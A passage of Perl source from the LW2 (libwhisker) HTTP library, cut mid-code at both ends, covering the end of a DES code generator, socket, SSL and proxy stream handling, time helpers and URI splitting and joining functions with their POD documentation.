"\$m=(\$b[$i][0]<<1)|\$b[$i][5];\n"; $code .= "\$n=(\$b[$i][1]<<3)|(\$b[$i][2]<<2)|(\$b[$i][3]<<1)|\$b[$i][4];\n"; for ( $j = 0 ; $j < 4 ; $j++ ) { $code .= "\$b[$i][$j]=(\$sbox->[$i][\$m][\$n]&" . ( 1 << ( 3 - $j ) ) . ")?1:0;\n"; } } for ( $i = 0 ; $i < 8 ; $i++ ) { for ( $j = 0 ; $j < 4 ; $j++ ) { $code .= "\$cb[" . ( $i * 4 + $j ) . "]=\$b[$i][$j];\n"; } } for ( $i = 0 ; $i < 32 ; $i++ ) { $code .= "\$pcb[$i]=\$cb[" . ( $perm5->[$i] - 1 ) . "];\n"; } for ( $i = 0 ; $i < 32 ; $i++ ) { $code .= "\$r2[$i]=(\$l->[$i])^\$pcb[$i];\n"; } for ( $i = 0 ; $i < 32 ; $i++ ) { $code .= "\$l->[$i]=\$r->[$i]; \$r->[$i]=\$r2[$i];\n"; } $code .= '}}}'; eval "$code"; #print "DEBUG: $code\n\n"; $generated++; } } ##### end of DES container ################################################ ######################################################################## =item B Params: $url [, \%request] Return: $code, $data ($code will be set to undef on error, $data will contain error message) This function will fetch the page at the given URL, and return the HTTP response code and page contents. Use this in the form of: ($code,$html)=LW2::get_page("http://host.com/page.html") The optional %request will be used if supplied. This allows you to set headers and other parameters. =cut # sub get_page { # my ( $URL, $hr ) = ( shift, shift ); # return ( undef, 'No URL supplied' ) if ( length($URL) == 0 ); # my ( %req, %resp ); # my $rptr; # if ( defined $hr && ref($hr) ) { # $rptr = $hr; # } # else { # $rptr = \%req; # http_init_request( \%req ); # } # my @u = uri_split( $URL, $rptr ); # return ( undef, 'Non-HTTP URL supplied' ) # if ( $u[1] ne 'http' && $u[1] ne 'https' ); # http_fixup_request($rptr); # if ( http_do_request( $rptr, \%resp ) ) { # return ( undef, $resp{'whisker'}->{'error'} ); # } # return ( $resp{'whisker'}->{'code'}, $resp{'whisker'}->{'data'} ); # } ######################################################################## =item B Params: $url [, \%request] Return: $hash_ref (undef on no URL) This function will fetch the page at the given URL, and return the whisker HTTP response hash. The return code of the function is set to $hash_ref->{whisker}->{get_page_hash}, and uses the http_do_request() return values. Note: undef is returned if no URL is supplied =cut # sub get_page_hash { # my ( $URL, $hr ) = ( shift, shift ); # return undef if ( length($URL) == 0 ); # my ( %req, %resp ); # my $rptr; # if ( defined $hr && ref($hr) ) { # $rptr = $hr; # } # else { # $rptr = \%req; # http_init_request( \%req ); # } # my @u = uri_split( $URL, $rptr ); # this is newer >=1.1 syntax # return undef if ( $u[1] ne 'http' && $u[1] ne 'https' ); # http_fixup_request($rptr); # my $r = http_do_request( $rptr, \%resp ); # $resp{whisker}->{get_page_hash} = $r; # return \%resp; # } ######################################################################## =item B Params: $url, $filepath [, \%request] Return: $code ($code will be set to undef on error) This function will fetch the page at the given URL, place the resulting HTML in the file specified, and return the HTTP response code. The optional %request hash sets the default parameters to be used in the request. NOTE: libwhisker does not do any file checking; libwhisker will open the supplied filepath for writing, overwriting any previously-existing files. Libwhisker does not differentiate between a bad request, and a bad file open. If you're having troubles making this function work, make sure that your $filepath is legal and valid, and that you have appropriate write permissions to create/overwrite that file. =cut # sub get_page_to_file { # my ( $URL, $filepath, $hr ) = @_; # return undef if ( length($URL) == 0 ); # return undef if ( length($filepath) == 0 ); # my ( %req, %resp ); # my $rptr; # if ( defined $hr && ref($hr) ) { # $rptr = $hr; # } # else { # $rptr = \%req; # http_init_request( \%req ); # } # my @u = uri_split( $URL, $rptr ); # this is newer >=1.1 syntax # return undef if ( $u[1] ne 'http' && $u[1] ne 'https' ); # http_fixup_request($rptr); # return undef if ( http_do_request( $rptr, \%resp ) ); # open( OUT, ">$filepath" ) || return undef; # binmode(OUT); # stupid Windows # print OUT $resp{'whisker'}->{'data'}; # close(OUT); # return $resp{'whisker'}->{'code'}; # } @_stream_FUNCS = ( [ 'open', 'close', 'read', 'write', 'writedone', 'valid' ], # stream_NULL [ 'socket', 'all', 'socket', 'socket', 'noop', 'socket' ] , # stream_SOCKTCP 1 [ 'socket', 'all', 'socket', 'socket', 'noop', 'never' ] , # stream_SOCKUDP 2 [ 'file', 'all', 'socket', 'file', 'noop', 'never' ], # stream_FILE 3 [ 'ssl', 'all', 'ssl', 'ssl', 'noop', 'netssleay' ], # stream_NETSSLEAY 4 [ 'ssl', 'all', 'ssl', 'ssl', 'noop', 'never' ], # stream_NETSSL 5 [ 'buffer', 'buffer', 'buffer', 'buffer', 'noop', 'never' ] # stream_BUFFER 6 ); sub stream_key { my ( $key, $type, $wh ) = ( '', 1, shift ); if ( defined $wh->{whisker}->{UDP} && $wh->{whisker}->{UDP} > 0 ) { $type = 2; $key = 'udp:'; } if ( $wh->{whisker}->{ssl} > 0 ) { $type = 4 if ( $LW_SSL_LIB == 1 ); $type = 5 if ( $LW_SSL_LIB == 2 ); $key = 'ssl:'; } if ( defined $wh->{whisker}->{file_stream} ) { $type = 3; $key = 'file=' . $wh->{whisker}->{file_stream} . ':'; } if ( defined $wh->{whisker}->{buffer_stream} ) { $type = 6; $key = 'buffer:'; } my ( $x, $h, $p ) = (0); if ( defined $wh->{whisker}->{proxy_host} ) { $h = $wh->{whisker}->{proxy_host}; $p = $wh->{whisker}->{proxy_port} || 80; $x++; $key .= 'proxy:'; if ( $type == 5 ) { $x = 0; $ENV{HTTPS_PROXY} = "$h:$p"; $h = $wh->{whisker}->{host}; $p = $wh->{whisker}->{port}; } } else { $h = $wh->{whisker}->{host}; $p = $wh->{whisker}->{port}; } $key .= $h . ':' . $p; if ( defined $wh->{whisker}->{stream_num} ) { $key .= '/' . $wh->{whisker}->{stream_num}; } return $key if ( !wantarray() ); if ($h =~ /:/) { # IPv6 address $h =~ s/[\[\]]//g; } return ( $type, $h, $p, $x, $key ); } # sub stream_setsock { # my $fd = shift; # my $wh = http_new_request( host => 'localhost', port => 80, ssl => 0 ); # my $xr = stream_new($wh); # return undef if ( $xr->{streamtype} != 1 ); # $xr->{sock} = $fd; # $xr->{state} = 1 ; # $xr->{eof} = 0; # $xr->{clearall}->(); # return $xr; # } { $SYMCOUNT = 0; sub stream_new { my ( $c, $rh ) = ( 0, shift ); my $sock = _stream_newsock(); my %x; %x = ( bufin => '', bufout => '', error => '', streamtype => 0, eof => 0, ctx => undef, sock => $sock, state => 0, syns => 0, reqs => 0, timeout => $rh->{whisker}->{timeout} || 10, nonblock => 0, forceclose => 0 ); ( $x{streamtype}, $x{chost}, $x{cport}, $x{proxy}, $x{key} ) = stream_key($rh); return undef if ( $x{streamtype} == 0 ); return undef if ( $LW_SSL_LIB == 0 && ( $x{streamtype} == 4 || $x{streamtype} == 5 ) ); return undef if ( $x{streamtype} != 3 && $x{streamtype} != 6 && !defined $Socket::VERSION ); if ( $LW2_CAN_IPv6 ) { # set up any hints for getaddrinfo() # If chost is an IP address, only try # to create sockets of that address family # and don't try to resolve it like a hostname. if ( $x{chost} =~ /^$IPv4_re$/ ) { $x{sock_hints}{family} = AF_INET; $x{sock_hints}{flags} += AI_NUMERICHOST; } elsif ( $x{chost} =~ /^$IPv6_re(?:[%][0-9a-z]+)?$/ ) { $x{sock_hints}{family} = AF_INET6; $x{sock_hints}{flags} += AI_NUMERICHOST; } $x{sock_hints}{socktype} = ( $x{streamtype} == 2) ? SOCK_DGRAM : SOCK_STREAM ; } $x{nonblock} = $LW_NONBLOCK_CONNECT if ( $x{streamtype} == 1 ); $x{forceclose} = 1 if ( $x{streamtype} == 5 ); $x{slurp} = $rh->{whisker}->{trailing_slurp} || 0; my @N = @{ $_stream_FUNCS[ $x{streamtype} ] }; for ( $c = 0 ; $c < 6 ; $c++ ) { my $n = $_stream_FUNCS[0]->[$c]; my $e = '$x{"' . $n . '"}=sub{&_stream_' . $N[$c] . "_$n" . '(\%x,@_)}'; eval "$e"; } $x{queue} = sub { $x{bufout} .= shift }; $x{clearall} = sub { $x{bufin} = $x{bufout} = '' }; $x{clear} = sub { $x{bufout} = '' }; return bless \%x, 'LW2::stream'; } sub _stream_newsock { # same as Symbol::gensym my $pkg = "LW2::"; my $name = "_STREAM_" . $SYMCOUNT++; delete $$pkg{$name}; return \*{ $pkg . $name }; } } sub _stream_all_close { my $xr = shift; $xr->{state} = 0; if ( $xr->{streamtype} == 4 ) { eval { $xr->{sock}->shutdown() }; eval { close( $xr->{origsock} ) }; # eval { Net::SSLeay::free($xr->{sock}) }; } else { eval { close( $xr->{sock} ) }; } } sub _stream_never_valid { return 0; } sub __bad_netssleay_error { my $err = Net::SSLeay::ERR_get_error; return 0 if ( $err == Net::SSLeay::ERROR_NONE || $err == Net::SSLeay::ERROR_WANT_READ || $err == Net::SSLeay::ERROR_WANT_WRITE ); return 1; } sub _stream_netssleay_valid { my $xr = shift; return 0 if ( $LW_SSL_KEEPALIVE == 0 || $xr->{state} == 0 ); return 0 if ( &Net::SSLeay::OPENSSL_VERSION_NUMBER < 0x0090601f ); my $lo = Net::SSLeay::pending( $xr->{sock} ); if ( $lo > 0 ) { # leftover data to slurp if ( !$xr->{slurp} ) { return 0 if ( !_stream_ssl_read($xr) ); } else { # todo #$xr->{slurped}.=$x."\0"; } } return 0 if ( __bad_netssleay_error() ); my ( $r, $e, $vin ) = ( undef, undef, '' ); my $fno = fileno( $xr->{origsock} ); vec( $vin, $fno, 1 ) = 1; if ( select( ( $r = $vin ), undef, ( $e = $vin ), .0001 ) ) { return 0 if ( vec( $e, $fno, 1 ) ); if ( vec( $r, $fno, 1 ) ) { # waiting data, let's peek my $temp = Net::SSLeay::peek( $xr->{sock}, 1 ); return 0 if ( __bad_netssleay_error() ); return 0 if ( $temp <= 0 ); } } return 1; } sub _stream_socket_valid { my $xr = shift; return 0 if ( $xr->{state} == 0 ); my ( $o, $vin ) = ( undef, '' ); vec( $vin, fileno( $xr->{sock} ), 1 ) = 1; if ( select( ( $o = $vin ), undef, undef, .0001 ) ) { my ( $hold, $res ); do { $res = sysread( $xr->{sock}, $hold, 4096 ); return _stream_err( $xr, 1, 'is_valid sysread failed' ) if ( !defined $res ); # error return 0 if ( $res == 0 ); # EOF if ( !$xr->{slurp} ) { $xr->{bufin} .= $hold; } else { $xr->{slurped} .= $hold . "\0"; } } while ( $res && select( ( $o = $vin ), undef, undef, .0001 ) ); } return 1; } sub _stream_socket_read { my $xr = shift; return 0 if ( $xr->{state} == 0 ); my ( $vin, $t ) = ( '', '' ); vec( $vin, fileno( $xr->{sock} ), 1 ) = 1; return 0 if ( !select( $vin, undef, undef, $xr->{timeout} ) ); my $res = sysread( $xr->{sock}, $t, 4096 ); return _stream_err( $xr, 1, 'sysread failed' ) if ( !defined $res ); if ( $res == 0 ) { $xr->{eof} = 1; return 0; } $xr->{bufin} .= $t; $xr->{eof} = 0; return 1; } sub _stream_ssl_read { my ( $xr, $t ) = ( shift, '' ); return 0 if ( $xr->{state} == 0 ); if ( $xr->{streamtype} == 4 ) { local $SIG{ALRM} = sub { die "lw_timeout\n" }; local $SIG{PIPE} = sub { die "lw_pipe\n" }; eval { eval { alarm( $xr->{timeout} ) }; # sleep(1) while(!Net::SSLeay::pending($xr->{sock})); $t = Net::SSLeay::read( $xr->{sock} ); eval { alarm(0) }; }; return 0 if ( $@ || __bad_netssleay_error() || !defined $t || $t eq '' ); } elsif ( $xr->{streamtype} == 5 ) { return 0 if ( !$xr->{sock}->read( $t, 4096 ) ); } $xr->{bufin} .= $t; return 1; } sub _stream_noop_writedone { } sub _stream_ssl_writedone { my $xr = shift; if ( $xr->{streamtype} == 4 ) { # Net::SSLeay shutdown $xr->{origsock}, 1; } else { # Net::SSL #shutdown $xr->{sock}, 1; } } sub _stream_socket_write { my ( $xr, $data, $v, $wrote ) = ( shift, shift, '', 0 ); return 0 if ( $xr->{state} == 0 ); $xr->{bufout} .= $data if ( defined $data ); my $len = length( $xr->{bufout} ); return 1 if ( $len == 0 ); vec( $v, fileno( $xr->{sock} ), 1 ) = 1; return _stream_err( $xr, 1, 'stream write test failed' ) if ( !select( undef, $v, undef, .0001 ) ); my $piperr = 0; local $SIG{PIPE} = sub { $piperr++ }; # $wrote=syswrite($xr->{sock},$xr->{bufout},$len); # return _stream_err($xr,1,'syswrite failed') # if(!defined $wrote || $piperr); # $xr->{error} = 'could not send entire queue' && return 0 # if($wrote!=$len); # $xr->{bufout}=''; # return 1; do { $wrote = syswrite( $xr->{sock}, $xr->{bufout}, $len ); if ( defined $wrote ) { substr( $xr->{bufout}, 0, $wrote ) = ''; } else { if ( $! != EWOULDBLOCK ) { $piperr++; } else { vec( $v, fileno( $xr->{sock} ), 1 ) = 1; $piperr++ if ( !select( undef, $v, undef, $xr->{timeout} ) ); } } return _stream_err( $xr, 1, 'syswrite failed' ) if ($piperr); $len = length( $xr->{bufout} ); } while ( $len > 0 ); return 1; } sub _stream_ssl_write { my ( $xr, $data, $wrote, $err ) = ( shift, shift, 0, '' ); return 0 if ( $xr->{state} == 0 ); $xr->{bufout} .= $data if ( defined $data ); my $len = length( $xr->{bufout} ); return 1 if ( $len == 0 ); if ( $xr->{streamtype} == 4 ) { ( $wrote, $err ) = Net::SSLeay::ssl_write_all( $xr->{sock}, \$xr->{bufout} ); if ( __bad_netssleay_error() || !$wrote ) { $xr->{error} = "SSL error: $err"; return 0; } if ( $wrote != $len ) { $xr->{error} = 'could not send entire queue'; return 0; } } elsif ( $xr->{streamtype} == 5 ) { $xr->{sock}->print( $xr->{bufout} ); # bummer, no error checking? } $xr->{bufout} = ''; return 1; } sub _stream_socket_alloc { my ( $xr, $wh ) = @_; if ($LW2_CAN_IPv6) { my ($ip, $port); $xr->{sock_hints}->{family} = ( $main::CLI{'ipv6'} ) ? AF_INET6 : AF_INET ; if ( defined $wh->{whisker}->{bind_socket} ) { $port = $wh->{whisker}->{bind_port} || 0; $port = 0 if ( $port eq '*'); # most OS will find a spare port for us return _stream_err( $xr, 0, 'Bad bind_port value' ) if ( $port !~ /^(?:[0-9]+)$/ ); $ip = (defined $wh->{whisker}->{bind_addr}) ? $wh->{whisker}->{bind_addr} : INADDR_ANY ; $xr->{sock_hints}->{flags} += AI_PASSIVE; } else { ($ip,$port) = ($xr->{chost}, $xr->{cport}); } my ($err, @results) = getaddrinfo($ip, $port, $xr->{sock_hints}); return _stream_err( $xr, 0, "getaddrinfo problems ($err)" ) if $err; return _stream_err( $xr, 0, 'getaddrinfo problems (no sockets)' ) if ( scalar(@results) < 1); # Ideally, we should call connect() on each @result # but LW2 isn't currently set up to make that easy... return _stream_err( $xr, 0, 'socket() problems' ) if ( !socket( $xr->{sock}, $results[0]->{family}, $results[0]->{socktype}, $results[0]->{proto} || 0 ) ); $xr->{iaton} = $results[0]->{addr}; } else { if ( $xr->{streamtype} == 2 ) { return _stream_err( $xr, 0, 'socket problems (UDP)' ) if ( !socket( $xr->{sock}, PF_INET, SOCK_DGRAM, getprotobyname('udp') || 0 ) ); } else { return _stream_err( $xr, 0, 'socket() problems' ) if ( !socket( $xr->{sock}, PF_INET, SOCK_STREAM, getprotobyname('tcp') || 0 ) ); } if ( defined $wh->{whisker}->{bind_socket} ) { my $p = $wh->{whisker}->{bind_port} || '*'; $p =~ tr/0-9*//cd; return _stream_err( $xr, 0, 'Bad bind_port value' ) if ( $p eq '' ); my $a = INADDR_ANY; $a = inet_aton( $wh->{whisker}->{bind_addr} ) if ( defined $wh->{whisker}->{bind_addr} ); return _stream_err( $xr, 0, 'Bad bind_addr value' ) if ( !defined $a ); if ( $p =~ tr/*// ) { for ( $p = 14011 ; $p < 65535 ; $p++ ) { if ( !bind( $xr->{sock}, sockaddr_in( $p, $a ) ) ) { return _stream_err( $xr, 0, 'bind() on socket failed' ) if ( $! ne 'Address already in use' ); } else { last; } } return _stream_err( $xr, 0, 'bind() cannot find open socket' ) if ( $p >= 65535 ); } else { return _stream_err( $xr, 0, 'bind() on socket failed' ) if ( !bind( $xr->{sock}, sockaddr_in( $p, $a ) ) ); } } if ( !defined $xr->{iaton} ) { $xr->{iaton} = inet_aton( $xr->{chost} ); return _stream_err( $xr, 0, 'can\'t resolve hostname' ) if ( !defined $xr->{iaton} ); } } $xr->{socket_alloc}++; return 1; } sub _stream_socket_nonblock { my ( $fl, $xr, $nonblock ) = ( 0, @_ ); if ( $^O =~ /Win32/ ) { $fl = 1 if ($nonblock); # 0x8004667e = FIONBIO in Winsock2.h if ( !ioctl( $xr->{sock}, 0x8004667e, \$fl ) ) { return 0; } } else { if ( !( $fl = fcntl( $xr->{sock}, F_GETFL, 0 ) ) ) { return 0; } $fl |= O_NONBLOCK if ($nonblock); $fl &= ~O_NONBLOCK if ( !$nonblock ); if ( !( fcntl( $xr->{sock}, F_SETFL, $fl ) ) ) { return 0; } } return 1; } sub _stream_socket_open { my ( $vin, $xr, $wh ) = ( '', @_ ); return 0 if ( !defined $wh ); $xr->{'close'}->() if ( $xr->{state} > 0 ); return 0 if ( !_stream_socket_alloc( $xr, $wh ) ); $xr->{timeout} = $wh->{whisker}->{timeout} || 10; if ( $xr->{nonblock} ) { if ( !_stream_socket_nonblock( $xr, 1 ) ) { $xr->{nonblock} = 0; $LW_NONBLOCK_CONNECT = 0; } else { my $R = ( $LW2_CAN_IPv6 ) ? connect( $xr->{sock}, $xr->{iaton} ) : connect( $xr->{sock}, sockaddr_in( $xr->{cport}, $xr->{iaton} ) ) ; if ( !$R ) { return _stream_err( $xr, 1, 'can\'t connect (connect error)' ) if ( $! != EINPROGRESS && $! != EWOULDBLOCK ); vec( $vin, fileno( $xr->{sock} ), 1 ) = 1; return _stream_err( $xr, 1, 'can\'t connect (timeout)' ) if ( !select( undef, $vin, $vin, $xr->{timeout} ) || !getpeername( $xr->{sock} ) ); } # leave in nonblock for normal TCP # if($xr->{streamtype} != 1 && !_stream_socket_nonblock($xr,0)){ # $LW_NONBLOCK_CONNECT=0; # return _stream_err($xr,1,'setting sock to block'); # } } } if ( !$xr->{nonblock} ) { eval { local $SIG{ALRM} = sub { die "timeout\n" }; eval { alarm( $xr->{timeout} ) }; my $R = ( $LW2_CAN_IPv6 ) ? connect( $xr->{sock}, $xr->{iaton} ) : connect( $xr->{sock}, sockaddr_in( $xr->{cport}, $xr->{iaton} ) ); if ( !$R ) { eval { alarm(0) }; die "connect failed\n"; } eval { alarm(0) }; }; return _stream_err( $xr, 0, 'can\'t connect (' . substr( $@, 0, index( $@, "\n" ) ) . ')' ) if ($@); } binmode( $xr->{sock} ); my $S = select( $xr->{sock} ); $|++; select($S); $xr->{state} = 1; $xr->{syns}++; return 1; } sub _stream_ssl_open { my ( $xr, $wh ) = @_; return 0 if ( !defined $wh ); $xr->{close}->() if ( $xr->{state} > 0 ); my $W = $wh->{whisker}; if ( $xr->{streamtype} == 5 ) { # these have to always be set, to overwrite any previous # set values (using ENV is a crappy way to do this) $ENV{HTTPS_KEY_FILE} = $W->{ssl_rsacertfile} || ''; $ENV{HTTPS_CERT_FILE} = $W->{ssl_certfile} || ''; eval { $xr->{sock} = Net::SSL->new( PeerAddr => $xr->{chost}, PeerPort => $xr->{cport}, Timeout => $xr->{timeout} ); }; return _stream_err( $xr, 0, 'can\'t connect: ' . $@ ) if ($@ || !defined $xr->{sock}); $xr->{sock}->autoflush(1); $xr->{state} = 1; # Net::SSL doesn't use stream_socket_open, so fake syns $xr->{syns}++; return 1; } return 0 if ( $xr->{streamtype} != 4 ); # otherwise, we're stream_NETSSLEAY if ( !defined $xr->{ctx} ) { return _stream_err( $xr, 0, 'ssl ctx create' ) if ( !( $xr->{ctx} = Net::SSLeay::CTX_new() ) ); Net::SSLeay::CTX_set_options( $xr->{ctx}, &Net::SSLeay::OP_ALL ); if ( defined $W->{ssl_rsacertfile} ) { if ( !( Net::SSLeay::CTX_use_RSAPrivateKey_file( $xr->{ctx}, $W->{ssl_rsacertfile}, &Net::SSLeay::FILETYPE_PEM ) ) ) { return _stream_err( $xr, 0, 'ssl ctx rsacert' ); } } if ( defined $W->{ssl_certfile} ) { if ( !( Net::SSLeay::CTX_use_certificate_file( $xr->{ctx}, $W->{ssl_certfile}, &Net::SSLeay::FILETYPE_PEM ) ) ) { return _stream_err( $xr, 0, 'ssl ctx cert' ); } } } # just to be safe, catch any errors that didn't get returned return _stream_err($xr, 0, 'ssl setup error' ) if( __bad_netssleay_error() ); return _stream_err( $xr, 0, 'ssl create new' ) if ( !( $xr->{sslobj} = Net::SSLeay::new( $xr->{ctx} ) ) ); # SNI stuff Net::SSLeay::set_tlsext_host_name($xr->{sslobj}, $W->{host}); if ( defined $W->{ssl_ciphers} ) { if ( !( Net::SSLeay::set_cipher_list( $xr->{sslobj}, $W->{ssl_ciphers} ) ) ) { return _stream_err( $xr, 0, 'ssl set ciphers' ); } } # now we use a normal socket to connect return 0 if ( !_stream_socket_open( $xr, $wh ) ); $xr->{state} = 1; if ( $xr->{proxy} ) { my $C = 'CONNECT ' . $W->{host} . ':' . $W->{port} . " HTTP/1.0\r\n"; $C .= 'Proxy-Authorization: ' . $wh->{'Proxy-Authorization'} . "\r\n" if ( defined $wh->{'Proxy-Authorization'} ); $C .= "\r\n"; my $r = syswrite( $xr->{sock}, $C, length($C) ); return _stream_err( $xr, 1, 'sending proxy connect string' ) if ( !defined $r || $r != length($C) ); # now we need to read proxy response and parse it do { return _stream_err( $xr, 1, 'ssl proxy request failed' ) if ( !_stream_socket_read($xr) ); } while ( index( $xr->{bufin}, "\n\n" ) == -1 && index( $xr->{bufin}, "\r\n\r\n" ) == -1 ); return _stream_err( $xr, 1, 'proxy couldn\'t make connection' ) if ( $xr->{bufin} !~ /^HTTP\/1.[0-9]+\W+200/ ); #$xr->{bufin}=''; $xr->{clearall}->(); } Net::SSLeay::set_fd( $xr->{sslobj}, fileno( $xr->{sock} ) ); Net::SSLeay::set_session( $xr->{sslobj}, $xr->{sslsession} ) if ( defined $xr->{sslsession} ); return _stream_err( $xr, 1, 'ssl connect failed' ) if ( !( Net::SSLeay::connect( $xr->{sslobj} ) ) || __bad_netssleay_error() ); # my $x = Net::SSLeay::ctrl( $xr->{sslobj}, 6, 0, '' ); $xr->{sslsession} = Net::SSLeay::get_session( $xr->{sslobj} ) if ( defined $W->{ssl_resume} && $W->{ssl_resume} > 0 ); # little trickery to abstract/normalize stuff $xr->{origsock} = $xr->{sock}; $xr->{sock} = $xr->{sslobj}; return 1; } sub _stream_file_open { my ( $xr, $wh ) = @_; $xr->{close}->() if ( $xr->{state} > 0 ); my $file = $wh->{whisker}->{file_stream}; return _stream_err( $xr, 0, 'invalid file' ) if ( !-e $file || !-f $file ); return _stream_err( $xr, 0, 'file open failure' ) if ( !sysopen( $xr->{sock}, $file, 'r' ) ); binmode($xr->{sock}); # Stupid Windows $xr->{state} = 1; } sub _stream_file_write { my $xr = shift; $xr->{bufout} = ''; return 1; } sub _stream_buffer_open { my ( $xr, $wh ) = @_; $xr->{close}->() if ( $xr->{state} > 0 ); $xr->{state} = 1; } sub _stream_buffer_close { my $xr = shift; $xr->{state} = 0; $xr->{bufout} = $xr->{bufin} = ''; } sub _stream_buffer_read { my $xr = shift; return 0 if ( $xr->{state} == 0 ); if ( length( $xr->{bufout} ) > 0 ) { $xr->{bufin} .= $xr->{bufout}; $xr->{bufout} = ''; } if ( length( $xr->{bufin} ) == 0 ) { $xr->{eof} = 1; return 0; } $xr->{eof} = 0; return 1; } sub _stream_buffer_write { my ( $xr, $data ) = ( shift, shift ); return 0 if ( $xr->{state} == 0 ); $xr->{bufout} .= $data if ( defined $data ); my $len = length( $xr->{bufout} ); return 1 if ( $len == 0 ); $xr->{bufin} .= $xr->{bufout}; $xr->{bufout} = ''; return 1; } sub _stream_err { my ( $xr, $close, $error ) = @_; $xr->{error} = $error; $xr->{error} .= ": $!" if ( defined $! && $! ne '' ); $xr->{'close'}->() if ($close); $xr->{state} = 0; return 0; } ######################################################################## =item B Params: $seconds, $minutes, $hours, $day_of_month, $month, $year_minus_1900 Return: $seconds [ -1 on error ] Performs a general mktime calculation with the given time components. Note that the input parameter values are expected to be in the format output by localtime/gmtime. Namely, $seconds is 0-60 (yes, there can be a leap second value of 60 occasionally), $minutes is 0-59, $hours is 0-23, $days is 1-31, $month is 0-11, and $year is 70-127. This function is limited in that it will not process dates prior to 1970 or after 2037 (that way 32-bit time_t overflow calculations aren't required). Additional parameters passed to the function are ignored, so it is safe to use the full localtime/gmtime output, such as: $seconds = LW2::time_mktime( localtime( time ) ); Note: this function does not adjust for time zone, daylight savings time, etc. You must do that yourself. =cut # sub time_mktime { # my ($sec,$min,$hour,$day,$mon,$yr)=@_; # my @md=(0,31,59,90,120,151,181,212,243,273,304,334); # foreach(@_[0..5]){ # return -1 if !defined $_ || $_<0; } # return -1 if($sec>60 || $min>59 || $hour>23 || $day>31 || $mon>11 # || $yr>137 || $yr<70); # $yr += 1900; # my $res = ($yr-1970)*365+$md[$mon]; # $res += int(($yr-1969)/4) + int(($yr-1601)/400); # $res -= int(($yr-1901)/100); # $res = ($res+$day-1)*24; # $res = ($res+$hour)*60; # $res = ($res+$min)*60; # return $res+$sec; # } =item B Params: $seconds_gmt Return: $seconds_local_timezone Takes a seconds value in UTC/GMT time and adjusts it to reflect the current timezone. This function is slightly expensive; it takes the gmtime() and localtime() representations of the current time, calculates the delta difference by turning them back into seconds via time_mktime, and then applies this delta difference to $seconds_gmt. Note that if you give this function a time and subtract the return value from the original time, you will get the delta value. At that point, you can just apply the delta directly and skip calling this function, which is a massive performance boost. However, this will cause problems if you have a long running program which crosses daylight savings time boundaries, as the DST adjustment will not be accounted for unless you recalculate the new delta. =cut # sub time_gmtolocal { # my $t = shift; # my $now = time; # my $utc = time_mktime(gmtime($now)); # my $me = time_mktime(localtime($now)); # return $t - ($utc - $me); # } ################################################################# =item B Params: $uri_string [, \%request_hash] Return: @uri_parts Return an array of the following values, in order: uri, protocol, host, port, params, frag, user, password. Values not defined are given an undef value. If a %request hash is passed in, then uri_split() will also set the appropriate values in the hash. Note: uri_split() will only set the %request hash if the protocol is HTTP or HTTPS! =cut sub uri_split { my ( $uri, $work ) = ( shift, '', 0 ); my ($hr) = shift; # (uri,protocol,host,port,params,frag,user,pass) my @res = ( undef, undef, undef, 0, undef, undef, undef, undef ); return undef if ( !defined $uri ); # remove fragments ( $uri, $res[5] ) = split( '#', $uri, 2 ) if ( index( $uri, '#', 0 ) >= 0 ); # get scheme and net_loc my $net_loc = undef; if ( $uri =~ s/^([-+.a-z0-9A-Z]+):// ) { $res[1] = lc($1); if ( substr( $uri, 0, 2 ) eq '//' ) { my $w = index( $uri, '/', 2 ); if ( $w >= 0 ) { $net_loc = substr( $uri, 2, $w - 2 ); $uri = substr( $uri, $w, length($uri) - $w ); } else { ( $net_loc = $uri ) =~ tr#/##d; $uri = '/'; } } } # parse net_loc info if ( defined $net_loc ) { if ( index( $net_loc, '@', 0 ) >= 0 ) { ( $res[6], $net_loc ) = split( /\@/, $net_loc, 2 ); if ( index( $res[6], ':', 0 ) >= 0 ) { ( $res[6], $res[7] ) = split( ':', $res[6], 2 ); } } $res[3] = $1 if ( $net_loc =~ s/:([0-9]+)$// ); $res[2] = $net_loc; } # remove query info ( $uri, $res[4] ) = split( '\?', $uri, 2 ) if ( index( $uri, '?', 0 ) >= 0 ); # whatever is left over is the uri $res[0] = $uri; if ( $res[3] == 0 && defined $res[1] ) { $res[3] = 80 if ( $res[1] eq 'http' ); $res[3] = 443 if ( $res[1] eq 'https' ); } my $rel_uri = 0; $rel_uri++ if ( $res[3] == 0 && !defined $res[2] && !defined $res[1] && $res[0] ne '' ); return @res if ( $res[3] == 0 && !$rel_uri ); if ( defined $hr && ref($hr) ) { $$hr{whisker}->{uri} = $res[0] if ( defined $res[0] ); if ( defined $res[4] ) { $$hr{whisker}->{parameters} = $res[4]; } else { delete $$hr{whisker}->{parameters}; } return @res if ($rel_uri); if ( $res[1] eq 'https' ) { $$hr{whisker}->{ssl} = 1; } else { $$hr{whisker}->{ssl} = 0; } $$hr{whisker}->{host} = $res[2] if ( defined $res[2] ); $$hr{whisker}->{port} = $res[3]; if ( defined $res[6] ) { $$hr{whisker}->{uri_user} = $res[6]; } else { delete $$hr{whisker}->{uri_user}; } if ( defined $res[7] ) { $$hr{whisker}->{uri_password} = $res[7]; } else { delete $$hr{whisker}->{uri_password}; } } return @res; } ################################################################# =item B Params: @vals Return: $url Takes the @vals array output from uri_split, and returns a single scalar/string with them joined again, in the form of: protocol://user:pass@host:port/uri?params#frag =cut sub uri_join { my @V = @_; my $URL; $URL .= $V[1] . ':' if defined $V[1]; if ( defined $V[2] ) { $URL .= '//'; if ( defined $V[6] ) { $URL .= $V[6]; $URL .= ':' . $V[7] if defined $V[7]; $URL .= '@'; } $URL .= $V[2]; } if ( $V[3] > 0 ) { my $no = 0; $no++ if ( $V[3] == 80 && defined $V[1] && $V[1] eq 'http' ); $no++ if ( $V[3] == 443 && defined $V[1] && $V[1] eq 'https' ); $URL .= ':' . $V[3] if ( !$no ); } $URL .= $V[0]; $URL .= '?' . $V[4] if defined $V[4]; $URL .= '#' . $V[5] if defined $V[5]; return $URL; } ################################################################# =item B Params: $uri, $base_uri [, $normalize_flag ] Return: $absolute_uri Double checks that the given $uri is in absolute form (that is, "http://host/file"), and if not (it's in the form "/file"), then it will append the given $base_uri to make it absolute. This provides a compatibility similar to that found in the URI subpackage. If $normalize_flag is set to 1, then the output will be passed through uri_normalize before being returned. =cut sub uri_absolute { my ( $uri, $buri, $norm ) = @_; return undef if ( !defined $uri || !defined $buri ); return $uri if ( $uri =~ m#^[-+.a-z0-9A-Z]+://# ); if ( substr( $uri, 0, 1 ) eq '/' ) { if ( $buri =~ m#^[-+.a-z0-9A-Z]+://# ) { my @p = uri_split($buri); $buri = 